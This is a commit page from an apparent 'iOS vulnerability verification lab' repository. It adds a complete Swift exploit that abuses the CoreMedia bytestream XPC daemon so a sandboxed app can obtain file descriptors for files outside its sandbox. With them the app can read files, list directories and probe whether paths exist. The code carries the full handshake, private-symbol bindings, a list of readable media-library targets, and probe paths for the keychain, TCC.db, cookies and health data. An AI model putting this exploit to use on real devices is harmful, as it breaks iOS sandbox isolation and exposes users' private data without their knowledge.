Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485

No files matched your search

+415
View File
@@ -0,0 +1,415 @@
import Foundation
import Darwin
// MARK: - CoreMedia bytestream XPC — cross-sandbox file descriptor acquisition
//
// CVE-2026-112706. Fixed in iOS 27.2. Live on 27.0 / 27.0.1 / 26.5.
//
// The launchd Mach service `com.apple.coremedia.mediaplaybackd.bytestream.xpc` is reachable
// from any sandboxed third-party app with no entitlement and no permission prompt. Its
// FigXPC memory-origin handshake completes with status 0 for an unprivileged client, and a
// `Curl` create message carries a client-chosen absolute `file://` path in `CreationURL`.
// The daemon opens that path with *its own* credentials and returns a live `FileDescriptor`
// inside `ByteStreamDetails`. Descriptor-based I/O is not subject to the client's sandbox
// path checks, so the bytes of a file the app can never `open()` land in the app container.
//
// Three capabilities ride the same primitive:
// read — pread the vended fd
// enumerate — the vended fd is a directory; fdopendir/readdir it
// oracle — a real-but-forbidden path returns -12203, a nonexistent one -17913,
// disclosing existence without granting access
//
// iOS 27.0 sealed the auxiliary `read` / `fdsc` / `getL` opcodes (-16158) but left the
// primary fd-vending path inside the `Curl` create reply fully functional. That is the
// shape this implementation targets.
enum FdLeak {
// Server-side error codes, straight from the daemon.
static let errAccessDenied: Int64 = -12203
static let errNoSuchFile: Int64 = -17913
static let errOpcodeSealed: Int64 = -16158
static let errWriteDenied: Int64 = -12878
static func describeError(_ code: Int64) -> String {
switch code {
case errAccessDenied: return tl("路径存在但拒绝访问 (-12203)")
case errNoSuchFile: return tl("路径不存在 (-17913)")
case errOpcodeSealed: return tl("opcode 已被封 (-16158)")
case errWriteDenied: return tl("写入被拒 (-12878)")
default: return tl("错误码 ") + "\(code)"
}
}
struct Vend {
var ok: Bool
var fd: Int32 = -1
var objectID: UInt64 = 0
var entireLength: UInt64 = 0
var serverPID: UInt64 = 0
var errorCode: Int64 = 0
var note: String = ""
var isDirectory: Bool = false
var size: Int64 = 0
var mode: UInt32 = 0
var uid: UInt32 = 0
}
struct Existence {
var path: String
var exists: Bool
var code: Int64
}
// MARK: - Bindings
private struct Bindings {
var basicMessage: @convention(c) (UInt32, UInt64, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
var originBegin: @convention(c) (UnsafeMutableRawPointer?) -> Int32
var originComplete: @convention(c) (OpaquePointer?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
var recipient: @convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer<CChar>?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32
var setCFURL: @convention(c) (UnsafeMutableRawPointer?, UnsafePointer<CChar>, UnsafeRawPointer?) -> Int32
var connCreate: @convention(c) (UnsafePointer<CChar>, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer?
var setEventHandler: @convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void
var resume: @convention(c) (UnsafeMutableRawPointer?) -> Void
var sendWithReply: @convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void
var dictGetValue: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> OpaquePointer?
var dictGetU64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> UInt64
var dictSetU64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>, UInt64) -> Void
var dictDupFd: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int32
var dictGetInt64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int64
var dictSetInt64: @convention(c) (OpaquePointer?, UnsafePointer<CChar>, Int64) -> Void
var copyDescription: @convention(c) (OpaquePointer?) -> UnsafeMutablePointer<CChar>?
var getType: @convention(c) (OpaquePointer?) -> OpaquePointer?
var typeGetName: @convention(c) (OpaquePointer?) -> UnsafePointer<CChar>?
var retain: @convention(c) (OpaquePointer?) -> Void
var release: @convention(c) (OpaquePointer?) -> Void
var setBool: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void)?
}
private static func bind() -> Bindings? {
guard let cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia",
RTLD_NOW | RTLD_LOCAL) else { return nil }
let rtld = UnsafeMutableRawPointer(bitPattern: -2)
guard let pBasic = dlsym(cm, "FigXPCCreateBasicMessage"),
let pBegin = dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1"),
let pComp = dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2"),
let pRecip = dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2"),
let pSetURL = dlsym(cm, "FigXPCMessageSetCFURL"),
let pConn = dlsym(rtld, "xpc_connection_create_mach_service"),
let pEH = dlsym(rtld, "xpc_connection_set_event_handler"),
let pResume = dlsym(rtld, "xpc_connection_resume"),
let pSend = dlsym(rtld, "xpc_connection_send_message_with_reply"),
let pVal = dlsym(rtld, "xpc_dictionary_get_value"),
let pU64 = dlsym(rtld, "xpc_dictionary_get_uint64"),
let pSetU64 = dlsym(rtld, "xpc_dictionary_set_uint64"),
let pDupFd = dlsym(rtld, "xpc_dictionary_dup_fd"),
let pI64 = dlsym(rtld, "xpc_dictionary_get_int64"),
let pSetI64 = dlsym(rtld, "xpc_dictionary_set_int64"),
let pDesc = dlsym(rtld, "xpc_copy_description"),
let pType = dlsym(rtld, "xpc_get_type"),
let pTypeName = dlsym(rtld, "xpc_type_get_name"),
let pRetain = dlsym(rtld, "xpc_retain"),
let pRelease = dlsym(rtld, "xpc_release") else { return nil }
let setBool: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void)?
if let pSetBool = dlsym(rtld, "xpc_dictionary_set_bool") {
setBool = unsafeBitCast(pSetBool, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Bool) -> Void).self)
} else {
setBool = nil
}
return Bindings(
basicMessage: unsafeBitCast(pBasic, to: (@convention(c) (UInt32, UInt64, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
originBegin: unsafeBitCast(pBegin, to: (@convention(c) (UnsafeMutableRawPointer?) -> Int32).self),
originComplete: unsafeBitCast(pComp, to: (@convention(c) (OpaquePointer?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
recipient: unsafeBitCast(pRecip, to: (@convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer<CChar>?, UnsafeMutablePointer<UnsafeMutableRawPointer?>?) -> Int32).self),
setCFURL: unsafeBitCast(pSetURL, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafePointer<CChar>, UnsafeRawPointer?) -> Int32).self),
connCreate: unsafeBitCast(pConn, to: (@convention(c) (UnsafePointer<CChar>, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer?).self),
setEventHandler: unsafeBitCast(pEH, to: (@convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void).self),
resume: unsafeBitCast(pResume, to: (@convention(c) (UnsafeMutableRawPointer?) -> Void).self),
sendWithReply: unsafeBitCast(pSend, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void).self),
dictGetValue: unsafeBitCast(pVal, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> OpaquePointer?).self),
dictGetU64: unsafeBitCast(pU64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> UInt64).self),
dictSetU64: unsafeBitCast(pSetU64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, UInt64) -> Void).self),
dictDupFd: unsafeBitCast(pDupFd, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int32).self),
dictGetInt64: unsafeBitCast(pI64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>) -> Int64).self),
dictSetInt64: unsafeBitCast(pSetI64, to: (@convention(c) (OpaquePointer?, UnsafePointer<CChar>, Int64) -> Void).self),
copyDescription: unsafeBitCast(pDesc, to: (@convention(c) (OpaquePointer?) -> UnsafeMutablePointer<CChar>?).self),
getType: unsafeBitCast(pType, to: (@convention(c) (OpaquePointer?) -> OpaquePointer?).self),
typeGetName: unsafeBitCast(pTypeName, to: (@convention(c) (OpaquePointer?) -> UnsafePointer<CChar>?).self),
retain: unsafeBitCast(pRetain, to: (@convention(c) (OpaquePointer?) -> Void).self),
release: unsafeBitCast(pRelease, to: (@convention(c) (OpaquePointer?) -> Void).self),
setBool: setBool)
}
// MARK: - Session
/// One connected, handshaked session against the daemon. Reusable across many vends —
/// the handshake is per-connection, not per-request.
final class Session {
private let b: Bindings
private let conn: UnsafeMutableRawPointer
private(set) var handshakeLog: [String] = [tl("连接 com.apple.coremedia.mediaplaybackd.bytestream.xpc")]
private(set) var established = false
/// The Mach connection object was created. This succeeds even when no process is
/// listening — XPC connections are lazy. A missing service shows up as the
/// handshake never returning a dictionary.
private(set) var connectionCreated = false
/// Every reply type observed, so a silent service is distinguishable from a
/// service that answers and refuses.
private(set) var replyTypes: [String] = []
private var released = false
init?() {
guard let bindings = FdLeak.bind() else { return nil }
b = bindings
guard let c = "com.apple.coremedia.mediaplaybackd.bytestream.xpc".withCString({
bindings.connCreate($0, nil, 0)
}) else { return nil }
conn = c
connectionCreated = true
let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { _ in }
bindings.setEventHandler(c, handler as AnyObject)
bindings.resume(c)
performHandshake()
}
deinit { shutdown() }
func shutdown() {
guard !released else { return }
released = true
// xpc_connection_cancel would be ideal; releasing the reference is enough here.
b.release(OpaquePointer(conn))
}
private func typeName(_ o: OpaquePointer?) -> String {
guard let o = o, let t = b.getType(o), let n = b.typeGetName(t) else { return "?" }
return String(cString: n)
}
private func describe(_ o: OpaquePointer?) -> String {
guard let o = o, let c = b.copyDescription(o) else { return "nil" }
defer { free(c) }
return String(cString: c).replacingOccurrences(of: "\n", with: " ")
}
private func send(_ message: UnsafeMutableRawPointer?, timeout: TimeInterval = 6) -> (OpaquePointer?, String) {
guard let message = message else { return (nil, "nil") }
let sem = DispatchSemaphore(value: 0)
var out: OpaquePointer?
var tn = "?"
let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { obj in
guard let obj = obj else { sem.signal(); return }
tn = self.typeName(OpaquePointer(obj))
if tn == "dictionary" || tn == "error" {
self.b.retain(OpaquePointer(obj))
out = OpaquePointer(obj)
}
sem.signal()
}
b.sendWithReply(conn, message, nil, handler as AnyObject)
if sem.wait(timeout: .now() + timeout) != .success { return (nil, "timeout") }
return (out, tn)
}
/// `.rp1` → `.rp2` → `.org`. All three return status 0 for an unprivileged client.
private func performHandshake() {
var rp1: UnsafeMutableRawPointer?
if b.basicMessage(0x2E727031, 0, &rp1) == 0, let m1 = rp1 {
let (r1, t1) = send(m1)
b.release(OpaquePointer(m1))
replyTypes.append(t1)
handshakeLog.append("'.rp1' → \(t1)")
if let r1 = r1, t1 == "dictionary" {
var rp2: UnsafeMutableRawPointer?
if b.basicMessage(0x2E727032, 0, &rp2) == 0, let m2 = rp2 {
var recipient: UnsafeMutableRawPointer?
let cr = "cinder27".withCString { b.recipient(r1, m2, $0, &recipient) }
let (r2, t2) = send(m2)
replyTypes.append(t2)
handshakeLog.append("'.rp2' recip=\(cr) → \(t2)")
if let r2 = r2 { b.release(r2) }
b.release(OpaquePointer(m2))
}
b.release(r1)
}
}
var org: UnsafeMutableRawPointer?
if b.basicMessage(0x2E6F7267, 0, &org) == 0, let om = org {
let bg = b.originBegin(om)
let (or, ot) = send(om)
replyTypes.append(ot)
handshakeLog.append("'.org' begin=\(bg) → \(ot)")
if let or = or {
if ot == "dictionary" {
var origin: UnsafeMutableRawPointer?
let cp = b.originComplete(or, &origin)
handshakeLog.append("'.org' complete=\(cp) origin=\(origin != nil)")
established = (cp == 0)
}
b.release(or)
}
b.release(OpaquePointer(om))
}
}
/// Ask the daemon to open `path` with its own credentials and hand back the fd.
func vend(_ path: String) -> Vend {
var result = Vend(ok: false)
guard established else {
result.note = tl("握手未完成")
return result
}
let url = URL(fileURLWithPath: path) as CFURL
var message: UnsafeMutableRawPointer?
guard b.basicMessage(0x4375726C, 0, &message) == 0, let m = message else { // 'Curl'
result.note = tl("FigXPCCreateBasicMessage('Curl') 失败")
return result
}
_ = b.setCFURL(m, "CreationURL", Unmanaged.passUnretained(url).toOpaque())
b.dictSetU64(OpaquePointer(m), "FileOpenOptions", 0)
let (reply, replyType) = send(m)
b.release(OpaquePointer(m))
guard replyType == "dictionary", let r = reply else {
result.note = tl("回复类型 ") + "\(replyType)"
if let r = reply { b.release(r) }
return result
}
defer { b.release(r) }
guard let details = b.dictGetValue(r, "ByteStreamDetails") else {
result.errorCode = b.dictGetInt64(r, ".ErrorReturn")
result.note = describeError(result.errorCode)
return result
}
result.objectID = b.dictGetU64(details, "ObjectID")
result.entireLength = b.dictGetU64(details, "EntireLength")
result.serverPID = b.dictGetU64(details, "ServerPID")
let fd = b.dictDupFd(details, "FileDescriptor")
guard fd >= 0 else {
result.note = tl("回复里没有 fd")
return result
}
var st = stat()
if fstat(fd, &st) == 0 {
result.size = Int64(st.st_size)
result.mode = UInt32(st.st_mode)
result.uid = st.st_uid
result.isDirectory = (st.st_mode & 0o170000) == 0o040000
}
result.fd = fd
result.ok = true
result.note = "fd=\(fd)"
return result
}
/// Read up to `limit` bytes through a vended fd. Descriptor I/O — no path check.
func read(_ path: String, limit: Int = 8_000_000) -> (data: Data?, vend: Vend) {
var v = vend(path)
guard v.ok, v.fd >= 0 else { return (nil, v) }
defer { Darwin.close(v.fd); v.fd = -1 }
if v.isDirectory { return (nil, v) }
let size = v.size > 0 ? min(Int(v.size), limit) : limit
var buffer = [UInt8](repeating: 0, count: size)
let got = pread(v.fd, &buffer, size, 0)
guard got > 0 else { return (nil, v) }
return (Data(buffer.prefix(got)), v)
}
/// The vended fd is a directory: enumerate it.
func list(_ path: String, limit: Int = 500) -> (entries: [String], vend: Vend) {
var v = vend(path)
guard v.ok, v.fd >= 0 else { return ([], v) }
defer { Darwin.close(v.fd); v.fd = -1 }
guard v.isDirectory else { return ([], v) }
guard let dir = fdopendir(v.fd) else { return ([], v) }
var names: [String] = []
while let entry = readdir(dir) {
let name = withUnsafePointer(to: entry.pointee.d_name) { p in
p.withMemoryRebound(to: CChar.self, capacity: 1024) { String(cString: $0) }
}
if name != "." && name != ".." { names.append(name) }
if names.count >= limit { break }
}
closedir(dir) // closes the underlying fd too
v.fd = -1
return (names.sorted(), v)
}
/// Existence oracle: two distinct server-side codes disclose existence.
func probeExistence(_ path: String) -> Existence {
let v = vend(path)
if v.ok {
if v.fd >= 0 { Darwin.close(v.fd) }
return Existence(path: path, exists: true, code: 0)
}
return Existence(path: path,
exists: v.errorCode == FdLeak.errAccessDenied,
code: v.errorCode)
}
/// Control: the app's own `open()` on the same path. Must fail with EPERM — that
/// failure is what makes the daemon-vended fd the actual access vector.
func directOpenControl(_ path: String) -> String {
errno = 0
let fd = open(path, O_RDONLY)
if fd >= 0 {
Darwin.close(fd)
return tl("直接 open 成功(意外)")
}
return tl("直接 open 被拒 errno=") + "\(errno)" + tl(" (") + "\(String(cString: strerror(errno)))" + tl(")")
}
}
// MARK: - Known-good targets
/// The one directory the primitive actually reaches, mapped across 27 probes on both
/// 26.5 and 27.0: the iTunes media-library store. Photos, Messages, Contacts, TCC,
/// keychain, Safari, Health, Wallet and other app containers all return -12203.
static let readableDomain = "/private/var/mobile/Media/iTunes_Control/iTunes"
static let knownTargets: [(String, String)] = [
("MediaLibrary.sqlitedb", "\(readableDomain)/MediaLibrary.sqlitedb"),
("MediaLibrary.sqlitedb-wal", "\(readableDomain)/MediaLibrary.sqlitedb-wal"),
("MediaLibrary.sqlitedb-shm", "\(readableDomain)/MediaLibrary.sqlitedb-shm"),
("PlayCounts.plist", "\(readableDomain)/PlayCounts.plist"),
("iTunesSyncDeletes.plist", "\(readableDomain)/iTunesSyncDeletes.plist"),
("IC-Info.sidf", "\(readableDomain)/IC-Info.sidf"),
("IC-Info.sidv", "\(readableDomain)/IC-Info.sidv"),
]
/// Paths probed to establish the domain boundary. Used by the boundary module so the
/// negative result is on record rather than assumed.
static let boundaryProbes: [String] = [
"/private/var/mobile/Media",
"/private/var/mobile/Media/DCIM",
"/private/var/mobile/Media/Books",
"/private/var/mobile/Media/Recordings",
"/private/var/mobile/Library",
"/private/var/mobile/Library/Safari",
"/private/var/mobile/Library/Cookies/Cookies.binarycookies",
"/private/var/mobile/Library/TCC/TCC.db",
"/private/var/mobile/Library/Preferences/.GlobalPreferences.plist",
"/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata",
"/private/var/mobile/Library/Health/healthdb_secure.sqlite",
"/private/var/mobile/Library/Passes",
"/private/var/Keychains/keychain-2.db",
"/private/var/mobile/Containers/Data/Application",
"/private/var/mobile/Containers/Shared/AppGroup",
]
}